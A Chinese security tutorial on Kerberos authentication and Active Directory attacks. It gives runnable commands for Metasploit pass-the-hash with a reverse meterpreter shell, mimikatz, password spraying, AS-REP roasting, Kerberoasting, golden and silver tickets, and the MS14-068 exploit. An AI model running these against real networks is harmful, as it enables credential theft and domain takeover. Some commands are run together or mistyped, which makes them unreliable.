域滲透 | kerberos認證及過程中產生的攻擊


​文章首發於公眾號《Z2O安全攻防》

直接公眾號文章復制過來的,排版可能有點亂, 可以去公眾號看。

https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmSyrAGIg

前言

Windows認證一般包括本地認證(NTLM HASH)和域認證(kerberos)。

認證的原理網上有很多文章。如果喜歡聽視頻課程的話,這里推薦傾旋師傅的分享課

https://www.bilibili.com/video/BV1S4411e7hr?spm_id_from=333.788.b_636f6d6d656e74.8

本篇文章主要內容是Kerberos認證過程中產生的攻擊。

kerberos認證

概述

Kerberos是由麻省理工學院提出的一種網絡身份驗證協議。它旨在通過使用密鑰加密技術為客戶端/服務器應用程序提供強身份驗證。Kerberos協議有兩個基礎認證模塊: AS_REQ &AS_REPTGS_REQ & TGS_REP,以及微軟擴展的兩個認證模塊S4UPAC

kerberos是一種基於票據的認證方式。客戶端如果要訪問某個服務首先要獲得相應的票據——Service Ticket(ST服務票據)。但是想要獲取到服務票據ST,需要先獲得一張認購權證——Ticket Granting Tikect(TGT) 。TGT和ST均有KDC(Key Distribute Center)密鑰分發中心發售。從物理層面看,KDC由域控控制器擔任,其中包括AS(Authentication Service)認證服務TGS(Ticket Granting Service)票據授予服務。可以參考下圖:

簡單來說,kerberos認證可以分為三大步:

第一步:Client與AS(Authentication Service認證服務)通信,獲取TGT(Ticket Granting Ticket)認證權證

   ① AS-REQ

   ② AS-REP

第二步:Client拿着TGT,與TGS(Ticket Granting Service票據授予服務)通信,獲取ST(Service Ticket服務票據)

   ③ TGS-REQ

   ④ TGS-REP

第三步:Client拿着ST,與Server通信,訪問服務。

   ⑤ AP-REQ

   ⑥ AP-REP

當然有些情況下,中間還會經過一步PAC認證(Privilege Attribute Certificate特權屬性證書)。

 

流程

下面對認證流程進行詳細分析:

krbtgt用戶是在創建域時系統自動創建的一個賬號,其作用是密鑰發行中心KDC的服務賬號,其密碼是系統隨機生成的,無法正常登陸主機。

 

第一步:Client與AS(Authentication Service認證服務)通信,獲取TGT(Ticket Granting Ticket)認證權證

① AS-REQ

當某個域內用戶試圖訪問域中的某個服務,於是輸入用戶名和密碼,本機的Kerberos服務會向KDC的AS認證服務發送一個AS-REQ認證請求。該請求包中包含:請求的客戶端信息(用戶名、主機名等)和預認證數據(用戶NTLM Hash加密的時間戳)以及一些其他信息。如下圖,(Client Hash就是用戶的NTML Hash)

② AS-REP

當KDC接收到請求之后,通過AD活動目錄查詢得到該用戶的密碼Hash,用該密碼Hash對請求包的預認證數據進行解密,如果解密成功,則證明請求者提供的密碼正確,而且需要驗證時間戳等,如果通過則預認證成功。

AS(Authentication Service)成功認證對方的身份之后,發送響應包給客戶端。響應包中主要包括: 用戶NTLM Hash加密的原始Login Session key(下圖中①部分,原始Login Session key是隨機生成的)和krbtgt用戶的NTLM Hash加密后的TGT認購權證(下圖中②部分)以及一些其他信息。該Login Session Key的作用是用於確保客戶端和KDC下階段之間通信安全。而TGT主要包含原始的Login Session Key、時間戳和PAC(下圖沒有畫出來)。PAC中包含用戶的SID,用戶所在的組等一些信息。

 

第二步:Client拿着TGT,與TGS(Ticket Granting Service票據授予服務)通信,獲取ST(Service Ticket服務票據)

經過上面的步驟,客戶端獲得了TGT認購權證和Login Session Key。然后用自己的密碼NTLM Hash解密Login Session Key得到原始的Logon Session Key。然后它會在本地緩存此TGT認購權證和原始的Login Session Key。現在客戶端拿着獲取到的TGT認購權證向 TGS (Ticket Granting Service)去請求ST服務票據(ServiceTicket)

在這個階段,微軟引入了兩個擴展協議S4u2self 和S4u2Proxy(當委派的時候使用)

③ TGS-REQ

客戶端向KDC請求指定服務的ST服務票據,該請求主要包含如下的內容:客戶端信息、Authenticator(原始的Login Session Key加密的時間戳)、TGT認購權證訪問的服務信息以及一些其他信息。

④ TGS-REP

TGS接收到請求之后,首先會檢查自身是否存在客戶端所請求的服務。如果服務存在,則通過krbtgt用戶的NTLM Hash解密TGT並得到原始的Login Session Key,然后通過原始的Login Session Key解密Authenticator,如果解密成功,則驗證了對方的真實身份,同時還會驗證時間戳等一些信息。

如果驗證通過,則TGS完成了對客戶端的認證,會生成一個用原始的Logon Session Key加密后的用於確保客戶端-服務器之間通信安全的Server Session Key會話秘鑰(上圖④)。並且會為該客戶端生成ST服務票據。ST服務票據主要包含兩方面的內容(如下圖):客戶端用戶信息和原始Server Session Key整個ST服務票據用該服務的NTLM Hash進行加密。最終Server Session Key和ST服務票據發送給客戶端。

這一步不管用戶有沒有訪問服務的權限,只要TGT正確,就都會返回ST服務票據,這也是kerberoasting能利用的原因,任何一個用戶,只要hash正確,就可以請求域內任何一個服務的ST票據

第三步:Client拿着ST,與Server通信,訪問服務。

客戶端接收到TGS回復后,通過緩存的原始Logon Session Key解密得到原始Server Session Key,同時它也拿到了ST(Service Ticket)服務票據。該Server Session Key 和ST服務票據會被客戶端緩存。

⑤ AP-REQ

客戶端訪問指定服務時,將 ST服務票據Authenticator(Server Session Key加密的時間戳)發送給服務端。

⑥ AP-REP

服務端收到客戶端發來的ST服務票據后,先通過該服務的NTLM Hash哈希解密ST服務票據,並從中提取Server Session Key。然后通過提取出來的Server Session Key解密Authenticator,進而驗證了客戶端的真實身份。驗證了客戶端的身份后,服務端拿着PAC去詢問KDC該用戶是否有訪問權限。域控拿到PAC后解密,然后KDC通過SID判斷用戶的用戶組信息,用戶權限等,然后將結果返回給服務端,服務端再將此信息與用戶請求的服務資源的ACL進行對比,最后決定是否給用戶提供相關服務。

有些服務並沒有驗證PAC這一步,這也是白銀票據能成功的前提。因為如果驗證了PAC的話,就算攻擊者擁有用戶hash,可以制作ST票據,也不能制作PAC,所以也沒有訪問服務的權限

kerberos認證各階段的攻擊手法

概述

AS-REQ:

在AS-REQ階段,存在用戶NTLM Hash加密的時間戳,所以也就造成了哈希傳遞攻擊

而當用戶不存在時,返回包會有所不同,我們可以基於此進行用戶名枚舉,所以也就造成了域內用戶枚舉攻擊(當我們不在域內,可以使用這個方法枚舉域內用戶)。

密碼噴灑(Password Spraying)攻擊,它屬於自動化密碼猜測的一種,是用固定的密碼去跑用戶名。這種針對所有用戶的自動密碼猜測通常是為了避免帳戶被鎖定,因為針對同一個用戶的連續密碼猜測會導致帳戶被鎖定。所以只有對所有用戶同時執行特定的密碼登錄嘗試,才能增加破解的概率,消除帳戶被鎖定的概率。

AS-REP:

在AS-REP階段,由於返回的TGT認購權證是由krbtgt用戶的密碼Hash加密的,因此如果我們擁有krbtgt的 hash 就可以自己制作一個TGT認購權證,這就造成了黃金票據攻擊

在AS-REP階段,Login Session key(最外層的enc-part)是用用戶密碼 Hash 加密的。對於域用戶,如果設置了選項” Do not require Kerberos preauthentication”,此時向域控制器的 88 端口發送 AS_REQ 請求,對收到的AS_REP內容(數據包enc-part底下的cipher,因為這部分是使用用戶 hash 加密的 Login Session Key,我們通過進行離線爆破就可以獲得用戶hash)重新組合,能夠拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下來可以使用hashcat對其破解,最終獲得該用戶的明文口令,這就造成了 AS-REP Roasting攻擊

 

TSG-REP:

在TGS-REP階段,由於內層enc-part是用服務賬號的NTLM Hash加密的,所以當我們得到了ST服務票據,可以通過爆破獲得該計算機服務賬號的密碼hash,這就是Kerberoast攻擊

這個問題存在的另外一個因素是因為用戶向KDC發起TGS_REQ請求,不管用戶對服務有沒有訪問權限,只要TGT正確,那么肯定會返回TGS。

在TGS-REP階段,TGS_REP里面的ticket的enc-part(內層enc-part)是使用服務賬號的ntlm hash進行加密的,如果我們擁有服務賬號的ntlm hash,就可以給我們自己簽發該服務的ST票據,這個票據也被稱為白銀票據。相較於黃金票據,白銀票據使用要訪問服務的hash,而不是krbtgt的hash,由於生成的是ST票據,不需要跟域控打交道,但是白銀票票據只能訪問特定服務。但是要注意的一點是,偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDC PAC簽名,則銀票將不起作用

說白了,kerberoast攻擊就是 :有ST服務票據,去爆破服務賬號的NTLM Hash ;而白銀票據,就是有服務賬號的NTLM Hash,去簽發該服務的ST服務票據。

 

AS-REQ

哈希傳遞攻擊(Pass The Hash)

詳細文章可以看《哈希傳遞攻擊(Pass-the-Hash)》

0x00 PTH簡介

哈希傳遞(pth)攻擊是指攻擊者可以通過捕獲密碼的hash值(對應着密碼的值),然后簡單地將其傳遞來進行身份驗證,以此來橫向訪問其他網絡系統。攻擊者無須通過解密hash值來獲取明文密碼。攻擊者通常通過抓取系統的活動內存和其他技術來獲取哈希。

0x01 PTH適用范圍

在工作組環境中:

  • Windows Vista 之前的機器,可以使用本地管理員組內用戶進行攻擊。

  • Windows Vista 之后的機器,只能是administrator用戶的哈希值才能進行哈希傳遞攻擊,其他用戶(包括管理員用戶但是非administrator)也不能使用哈希傳遞攻擊,會提示拒絕訪問。

在域環境中:

  • 只能是域管理員組內用戶(可以是域管理員組內非administrator用戶)的哈希值才能進行哈希傳遞攻擊,攻擊成功后,可以訪問域內任何一台機器

0x02 PTH常用攻擊手法

(1)msf:

有些時候,當我們獲取到了某用戶的密碼哈希值(條件滿足0x01 PTH適用范圍) ,並且該主機的445端口打開着。我們則可以利用 exploit/windows/smb/psexec 模塊用MSF進行遠程登錄(哈希傳遞攻擊)。這個是rhost可以是一個主機,也可以設置一個網段

msf > use  exploit/windows/smb/psexecmsf exploit(psexec) > set payload windows/meterpreter/reverse_tcpmsf exploit(psexec) > set lhost 192.168.10.11msf exploit(psexec) > set rhost 192.168.10.131msf exploit(psexec) > set smbuser test   #test用戶在域管理員組內,注意這里不需要寫域前綴msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1msf exploit(psexec) > exploit

(2) mimikatz

在域環境中,當我們獲得了 域管理員組內用戶 的NTLM哈希值,我們可以使用域內的一台主機用mimikatz對域內任何一台機器(包括域控)進行哈希傳遞攻擊。執行完命令后,會彈出CMD窗口,在彈出的CMD窗口我們可以訪問域內任何一台機器。前提是我們必須擁有域內任意一台主機的本地管理員權限和域管理員的密碼NTLM哈希值

PS:工作組環境下,也需要本地管理員權限,命令中將域名改為目標機器IP

privilege::debug    #先提權
#使用域管理員yokan的NTLM哈希值對域控進行哈希傳遞攻擊,域用戶yokan在域管理員組中sekurlsa::pth  /user:yokan  /domain:yokan.com  /ntlm:xxxxxxxxxxxxxxxx

(3) wmiexec:

獲取的是對方hash的權限

//python3 wmiexec.py -hashes LM Hash:NTLM Hash 域名/用戶名@目標IP #哈希傳遞獲得shell python3 wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.111.13

(4) KB2871997補丁

微軟在2014年5月發布了KB2871997。該補丁禁止通過本地管理員權限與遠程計算機進行連接,其后果就是:無法通過本地管理員對遠程計算機使用PsExec, WMI, smbexec, schtasks,也無法訪問遠程主機的文件共享等。

即使目標主機更新了KB2871997的補丁,仍然可以使用SID=500的用戶進行哈希傳遞攻擊,而 SID=500 的用戶默認為 aministrator,所以仍然可以使用administrator用戶進行哈希傳遞攻擊。並且在打了KB2871997 補丁的機器上,通過將LocalAccountTokenFilterPolicy設置為1,也還是可以使用普通管理員賬號進行哈希傳遞攻擊。

域用戶名枚舉

0x01 原理分析

當我們不在域內時,可以進行枚舉域內賬號。

在域外也能和域進行交互的原因,是利用了kerberos協議認證中的AS-REQ階段。只要我們能夠訪問域控88(kerberos服務)端口,就可以通過這種方式去枚舉用戶名並且進行kerberos協議的暴力破解了!

0x02 攻擊優勢

相比於LDAP的暴力破解,這里Kerbrute使用的是kerberos pre-auth協議,不會產生大量的日志

0x03 攻擊方法

kerbrute_windows_amd64.exe

下載地址:

https://github.com/ropnop/kerbrute/releases

在這里我們需要獲取dc的ip,域名。將想要爆破的用戶放入user.txt表中,這樣就可以獲取到了!

kerbrute_windows_amd64.exe userenum --dc 192.168.111.134 -d yokan.com user.txt

在我們獲取到用戶名后,可以將它用來爆破(密碼噴灑)!

kerbrute_windows_amd64.exe passwordspray -d yokan.com user.txt password

密碼噴灑攻擊(Password Spraying)

0x01 前言

在實際滲透中,許多滲透測試人員和攻擊者通常都會使用一種被稱為 密碼噴灑(Password Spraying)的攻擊手段來進行攻擊。對密碼進行噴灑式的攻擊,這個叫法很形象,因為它屬於自動化密碼猜測的一種。這種針對所有用戶的自動密碼猜測通常是為了避免帳戶被鎖定,因為針對同一個用戶的連續密碼猜測會導致帳戶被鎖定。所以只有對所有用戶同時執行特定的密碼登錄嘗試,才能增加破解的概率,消除帳戶被鎖定的概率。普通的爆破就是用戶名固定,爆破密碼,但是密碼噴灑,是用固定的密碼去跑用戶名。

0x02 攻擊方式

一般使用DomainPasswordSpray工具

工具介紹:

DomainPasswordSpray.ps1是用PowerShell編寫的工具,用於對域用戶執行密碼噴灑攻擊。默認情況下它將利用LDAP從域中導出用戶列表,然后扣掉被鎖定的用戶,再用固定密碼進行密碼噴灑。

需要使用域權限賬戶

下載鏈接:

https://github.com/dafthack/DomainPasswordSpray

在這里作者進行了腳本修改(下載保存為DomainPasswordSpray.ps1)

優化后的地址:http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt

使用說明:

從域中收集用戶列表

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\YOKAN\Desktop\DomainPasswordSpray.ps1;Get-DomainUserList}"

從域中收集用戶列表,包括任何未禁用且未接近鎖定狀態的賬戶。它會將結果寫入"userlist.txt"文件中:

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\YOKAN\Desktop\DomainPasswordSpray.ps1; Get-DomainUserList -Domain hacke.testlab -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt }"

從域環境中獲取用戶名,然后使用密碼進行認證枚舉:

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\YOKAN\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password password}"

從user.txt中提取用戶名,與passlist.txt中的密碼對照成一對口令,進行域認證枚舉,登錄成功后會輸出到sprayed-creds.txt

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\YOKAN\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Domain hacke.testlab -Password password -OutFile sprayed-creds.txt}"

 

AS-REP

黃金票據

0x00 漏洞成因

當我們有了krbtgt hash之后,我們可以解密TGT,也可以加密TGT。

TGS獲取的Login Session key是通過解開TGT獲取的,因此當我們得到krbtgt hash之后,我們就可以偽造任一用戶了,這就造成了黃金票據攻擊

0x01 利用場景

1.拿到域內所有賬戶Hash,包括krbtgt賬戶,某些原因導致域控權限掉了,域管改密碼了等

2.手上還有一台機器,無所謂是否在域中

3.域管理員沒有更改域控krbtgt賬戶的密碼

4.通常當作后門使用

0x02 利用條件

需要獲取到以下信息:

1、域名

2、域的SID

3、krbtgt 賬號的hash

4、偽造的用戶名

0x03 利用方式

ipconfig /all拿到域名

whoami/all

或者

wmic useraccountget name,sid

拿到SID

使用mimikatz軟件拿到krbtgt用戶的NTLM密碼哈希

查看域管理員賬號

net group “domain admins” /domain

刪除票證

klist purge

將搜集到的信息替換到執行語句中使用mimikatz軟件偽造administrator用戶的票證然后退出

成功拿到域控

在成功之后就相當於IPC連接成功之后的攻擊方法了!

AS-REP Roasting攻擊

0x00 漏洞成因

AS-REP Roasting是一種對用戶賬號進行離線爆破的攻擊方式。但是該攻擊方式利用比較局限,因為其需要用戶賬號設置 "Do not require Kerberos preauthentication(不需要kerberos預身份驗證) " 。而該屬性默認是沒有勾選上的。

預身份驗證是Kerberos身份驗證的第一步(AS_REQ & AS_REP),它的主要作用是防止密碼脫機爆破。默認情況下,預身份驗證是默認開啟的,KDC會記錄密碼錯誤次數,防止在線爆破。

關閉了預身份驗證后,攻擊者可以使用指定用戶去請求票據,此時域控不會作任何驗證就將 TGT票據 和 該用戶Hash加密的Session Key返回。因此,攻擊者就可以對獲取到的 用戶Hash加密的Session Key進行離線破解,如果破解成功,就能得到該指定用戶的密碼明文。

首先獲取"不要求Kerberos域身份認證"的用戶及其加密hash

普通域用戶下:

方法一:工具Rubeus

使用命令直接獲取域內所有開啟"不要求Kerberos域身份認證"的用戶,並且返回了他們的加密hash

Rubeus.exe asreproast > log.txt

 

方法二:Empire 中的Powerview.ps1

首先執行以下語句,得到"不要求Kerberos域身份認證"的用戶,輸出到txt中

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\YOKAN\Desktop\powerview.ps1;Get-DomainUser -PreauthNotRequired}" > log.txt

獲取用戶名后,需要獲取他們的加密hash。

在這里需要使用另外一個模塊:ASREPRoast.ps1

https://github.com/gold1029/ASREPRoast

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\YOKAN\Desktop\ASREPRoast.ps1;Get-ASREPHash -UserName test -Domain hacke.testlab | Out-File -Encoding ASCII hash.txt}"

 

然后,在獲取到加密hash之后,使用hashcat進行密碼破解

將txt里面的除Hash字段其他的都刪除,復制到hashcat目錄下,並且修改為hashcat能識別的格式,即在$krb5asrep后面添加$23拼接。

然后使用以下命令爆破

hashcat -m 18200 hash.txt pass.txt --force

 

TGS-REP

SPN 掃描

kerberoast攻擊的前置知識

0x00 SPN簡介

SPN全稱 Service Principal Names服務主體名稱,是服務器上所運行服務的唯一標識,每個使用kerberos認證的服務都需要一個SPN。

Kerberos身份驗證用 SPN將服務實例與服務登錄賬號關聯起來

SPN分為兩種,一種注冊在AD的機器賬戶(Computers)下,另一種注冊在域用戶賬戶(Users)下:當一個服務的權限為Local System或Network Service,則SPN注冊在機器賬戶(Computers)下當一個服務的權限為一個域用戶,則SPN注冊在域用戶賬戶(Users)下。

0x01 SPN掃描作用

SPN掃描能讓我們更快的發現在域內運行的服務,並且很難被發現。

在活動目錄中發現服務的最佳方法就是SPN掃描

0x02 SPN格式​​​​​​​

serviceclass/host:port/servicename
#serviceclass和hostname是必選參數,port和servicename是可選參數#例如:exchangeMDB/EXCAS01.pentest.com   //exchange服務TERMSERV/EXCAS01.pentest.com      //RDP服務

說明:

  • serviceclass可以理解為服務的名稱,常見的有www,ldap,SMTP,DNS,HOST等

  • host有兩種形式,FQDN(全限定域名,同時帶有計算機名和域名)和NetBIOS名,例如server01.test.com和server01

  • 如果服務運行在默認端口上,則端口號(port)可以省略

  • servicename:一個字符串,可以是服務的專有名稱(DN),objeectGuid,Internet主機名或全限定域名

0x03 查詢SPN

對域控制器發起LDAP查詢,這是正常kerberos票據行為的一部分,因此查詢SPN的操作很難被檢測

(1)使用SetSPN

win7和windows server2008 2012自帶的功能

查看當前域內的所有SPN:

setspn.exe -q */*

查看具體域內的所有SPN:

setspn.exe -T hacke.testlab -q */*

(2) 使用Powershell-AD-Rccon

https://github.com/PyroTek3/PowerShell-AD-Recon

Powershell-AD-Rccon工具包提供了一系列服務與服務登錄賬號和運行服務的主機之間的對應關系,這些服務包括但不限於MSSQL、 Exchange、RDP、WinRM。

  • 利用SPN發現域中所有的MSSQL服務

因為SPN是通過LDAP協議向域控制器進行查詢的,所以,攻擊者只要獲得一個普通的域用戶權限,就可以進行SPN掃描。

在域中的任意一台機器上,以域用戶身份運行一個power shell進程,將腳本導入並執行,命令如下​​​​​​​

Import-Module .\Discover-PSMsSQLServers.ps1 Discover-PSMSSQLServers
  • 掃描域中所有的SPN信息

在域中的任意一台機器上,以域用戶的身份運行一個PowerShell進程,將腳本導入並執行,命令如下​​​​​​​

Import-Module .\Discover-PSInterestingServices.ps1Discover-PSInterestingServices

可以看到,域中有LDAP、exchange、RDP等多個SPN。因為每個重要的服務在域中都有對應的SPN,所以攻擊者不必使用復雜的端口掃描技術,只要利用SPN掃描技術就能找到大部分的應用服務器。

Kerberoast攻擊

0x01 攻擊原理

1.kerberos認證過程

這種攻擊方法主要利用了TGS_REP階段使用服務賬號NTLM Hash加密的返回數據,通過碰撞加密數據破解用戶密碼。

2.Windows系統通過SPN查詢獲得服務和服務實例帳戶的對應關系

但是TGT階段一開始需要對方是否是否有這個服務,那這個服務怎么發現呢?這時候可以使用SPN掃描,因為在域中如果服務使用的是kerberos認證。那么就需要在對應域用戶下面注冊SPN,因此通過SPN掃描可以發現用戶對應的服務

3.域內的任何用戶都可以向域內的任何服務請求TGS

4.需要域用戶登錄才能查詢,因為SPN查詢部分使用了LDAP協議

0x02 攻擊步驟

  1. 查詢SPN,找到有價值的SPN,需要滿足以下條件:

    該SPN注冊在域用戶帳戶(Users)下;

    域用戶賬戶的權限很高;

  2. 請求TGS

  3. 導出TGS

  4. 暴力破解

0x03 攻擊實現

1.檢測高權限賬戶

工具只能檢測出SPN服務注冊時用戶的高低權限,若后來權限提高或者降低皆無法檢測到。

(1)使用powershell模塊Active Direvtory

當服務器上存在此模塊時(域控一般安裝)

powershell.exe -exec bypass -Command "& {Import-Module .\ActiveDirectory;get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon}"

當服務器上沒有AD模塊時,加載dll文件來執行。win8無法執行

powershell.exe -exec bypass -Command "& {Import-Module .\Microsoft.ActiveDirectory.Management.dll;get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon}"

DLL下載鏈接:​​​​​​​

https://codeload.github.com/3gstudent/test/zip/masterhttps://github.com/samratashok/ADModule

(2)使用PowerView

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1; Get-NetUser -spn -AdminCount|Select name,whencreated,serviceprincipalname,pwdlastset,lastlogon }"

下載鏈接

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

(3)使用kerberoast工具

powershell

powershell.exe -exec bypass -Command "& {Import-Module .\GetUserSPNs.ps1;  }"

 

下載鏈接:

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

2.請求高權限賬戶的票據

方式有rubeus、powershell命令、mimikatz、GetUserSPNS.py等

(1)請求指定TGS在powershell中使用如下命令獲取票據​​​​​​​

powershell.exe -exec bypass -Command "& {$SPNName = ''cifs/WIN7.yokan.com'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
$SPNName = 'cifs/WIN7.yokan.com'Add-Type -AssemblyNAme System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

 

(2)請求所有TGS

執行完(1)第一個后第二個才能執行需要powershell下執行

​​​​​​​

powershell.exe -exec bypass -Command "& {Add-Type -AssemblyName System.IdentityModel  }"
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }​​​​​​​

查看票據的命令:klistmimikatz.exe "kerberos::list"

3.導出票據

(1)使用mimikatz.exe​​​​​​​

kerberos::list /export
mimikatz.exe "kerberos::list /export" "exit"

(2)Empire下的Invoke-Kerberoast.ps1

導出Hashcat格式的票據。且它會自動選擇所有的user Hash​​​​​​​

powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-kerberoast -outputformat hashcat |fl > hash.txt}"或者Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashca

4.離線破解服務票據

(1) kerberoast中的tgsrepcrack.py

python2 tgsrepcrack.py password.txt xx.kirbi

(2) tgscrack

​​​​​​​

python2 extractServiceTicketParts.py xxx.kirbi > hash.txtgo run tgscrack.go -hashfile hash.txt -wordlist password.txt

(3) hashcat

將導出的hashcat格式的哈希保存為hash.txt文件,放到hashcat的目錄下

hashcat64.exe -m  13100  hash.txt  pass.txt

白銀票據

0x01 利用條件

需要獲取到以下信息:

1、域名

2、域的SID

3、目標服務器FQDN

4、可利用的服務(這里使用cifs)

5、服務賬號的NTLM Hash

6、需要偽造的用戶名

0x02 利用方法

ipconfig /all拿到域控ip

輸入ping -a 10.1.1.1獲取域限定全名dc.kacker.com

whoami /all拿到SID

導出域控機的hash

mimikatzlog "privilege::debug" "sekurlsa::logonpasswords"

 

將搜集到的信息替換到執行語句中使用mimikatz軟件偽造票證,訪問即可

S4U

委派攻擊

包括非約束性委派攻擊、約束委派攻擊、基於資源的約束委派攻擊,設計的內容比較多,后面將單獨用一篇文章介紹。

PAC

詳細看 https://www.anquanke.com/post/id/192810  (以下稱之為"引文")

上面講的kerberos流程看起來沒錯,卻忽略一個最重要的因素,那就是用戶有沒有權限訪問該服務,在上面的流程里面,只要用戶的hash正確,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以訪問服務,任何一個用戶都可以訪問任何服務。也就是說上面的流程解決了”Who am i?”的問題,並沒有解決 “What can I do?”的問題。

為了解決上面的這個問題,微軟引進了PAC,引進PAC之后的kerberos流程變成

  1. 用戶向KDC發起AS_REQ,請求憑據是用戶hash加密的時間戳,KDC使用用戶hash進行解密,如果結果正確返回用krbtgt hash加密的TGT票據,TGT里面包含PAC,PAC包含用戶的sid,用戶所在的組。

    2.用戶憑借TGT票據向KDC發起針對特定服務的TGS_REQ請求,KDC使用krbtgt hash進行解密,如果結果正確,就返回用服務hash 加密的TGS票據(這一步不管用戶有沒有訪問服務的權限,只要TGT正確,就返回TGS票據,這也是kerberoating能利用的原因,任何一個用戶,只要hash正確,可以請求域內任何一個服務的TGS票據

    3.用戶拿着TGS票據去請求服務,服務使用自己的hash解密TGS票據。如果解密正確,就拿着PAC去KDC那邊詢問用戶有沒有訪問權限,域控解密PAC。獲取用戶的sid,以及所在的組,再判斷用戶是否有訪問服務的權限,有訪問權限(有些服務並沒有驗證PAC這一步,這也是白銀票據能成功的前提,因為就算擁有用戶hash,可以制作TGS,也不能制作PAC,PAC當然也驗證不成功,但是有些服務不去驗證PAC,這是白銀票據成功的前提)就允許用戶訪問。

特別說明的是,PAC對於用戶和服務全程都是不可見的。只有KDC能制作和查看PAC。

PAC具體的結構信息可以看“引文”,這里說一下其中兩部分:

0x00000001 登錄信息,是整個PAC最重要的部分,整個PAC就靠它來驗證用戶身份了  (可以聯想到,后面的漏洞就是偽造這一部分)

0x00000006 對應的是服務檢驗和,0x00000007 對應的是KDC校驗和。分別由server密碼和KDC密碼加密,是為了防止PAC內容被篡改。

存在簽名的原因有兩個。首先,存在帶有服務器密鑰的簽名,以防止客戶端生成自己的PAC並將其作為加密授權數據發送到KDC,以包含在票證中。其次,提供具有KDC密鑰的簽名,以防止不受信任的服務偽造帶有無效PAC的票證。

MS14-068

0x00 漏洞效果

補丁編號是KB3011780,域里面最嚴重的漏洞之一

它能夠將任意用戶提升到域管權限

0x01 漏洞成因

①:

該漏洞最本質的地方在於Microsoft Windows Kerberos KDC無法正確檢查Kerberos票證請求隨附的特權屬性證書(PAC)中的有效簽名,這里面的簽名就是上面提到的服務檢驗和以及KDC校驗和。導致用戶可以自己構造一張PAC。簽名原本的設計是要用到HMAC系列的checksum算法,也就是必須要有key的參與,我們沒有krbtgt的hash以及服務的hash,就沒有辦法生成有效的簽名,但是問題就出在,實現的時候允許所有的checksum算法都可以,包括MD5。只要客戶端指定任意簽名算法,KDC就會使用指定的算法進行簽名驗證。那我們只需要把PAC 進行md5,就生成新的校驗和。這也就意味着我們可以隨意更改PAC的內容,完了之后再用md5 給他生成一個服務檢驗和以及KDC校驗和。

②:

該漏洞的利用依舊還有一個棘手的問題。前面我們說過。PAC是包含在TGT里面的,而TGT是krbtgt的用戶hash加密的,也就意味着即使我們可以偽造PAC,那我們有什么辦法講PAC放在票據里面傳輸給KDC呢?

答案是PAC沒有放在TGT中也可以被解析:PAC沒有被放在TGT中,而是放在了TGS_REQ數據包的其他地方。但是KDC在實現上竟然允許這樣的構造,也就是說,KDC能夠正確解析出放在其他地方的PAC信息!

0x02 漏洞利用條件

  • 小於2012R2的域控 沒有打KB3011780,高版本默認集成

  • 無論工作組、域,高低權限都可以使用生成的票據進行攻擊

  • 域賬戶使用時需要klist purge清除票據

0x03 漏洞利用過程

pykek

全稱是Python Kerberos Exploitation Kit

應該是ms14068漏洞利用,使用的最廣泛的一個,一般常用的ms14068.exe,就是由他打包而成的

下載:https://github.com/mubix/pykek

ms14-068.py是PyKEK工具包中的MS14-068漏洞利用腳本​​​​​​​

-u <userName>@<domainName>:用戶名@域名。-s <userSid>: 用戶SID。-d <domainControlerAddr>:域控制器地址。-p <clearPassword>: 明文密碼。--rc4 <ntlmHash>:在沒有明文密碼的情況下,通過NTLM Hash登錄

利用:

1、查看域控制器的補丁安裝情況:

微軟針對MS14-068(CVE-2014-6324)漏洞提供的補丁為KB3011780。輸入命令wmic qfe get hotfixid,未發現該補丁

 

2、查看用戶的SID:

以用戶98612的身份登錄,輸入命令“whoami /user",可以看到該用戶的SID

還有一個獲取用戶SID的方法。輸入命令"wmic useraccount get name,sid",獲取域內所有用戶的SID

3、生成高權限票據

使用pykek生成高權限票據的命令,格式如下​​​​​​​

ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
python ms14-068.py  -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼

在pykek目錄中 輸入如下命令,在當前目錄下生成了一個名為TGT_98612@yokan.com.ccache的票據文件

4、清楚內存中的所有票據

mimikataz# kerberos::purge

5、將高權限票據注入內存

將生成的票據文件TGT_98612@yokan.com.ccache放到域機器的mimikatz目錄下,使用mimikatz將票據注入內存

kerberos::ptc "TGT_98612@yokan.com.ccache"

6、驗證權限

使用dir命令,列出域控制器C盤的內容

在成功之后就相當於IPC連接成功之后的攻擊方法了,例如可以使用psexec 獲取一個shell,執行任意命令等等。

impacket工具包的goldenPac.py

這個工具是結合ms14-068加psexec​​​​​​​

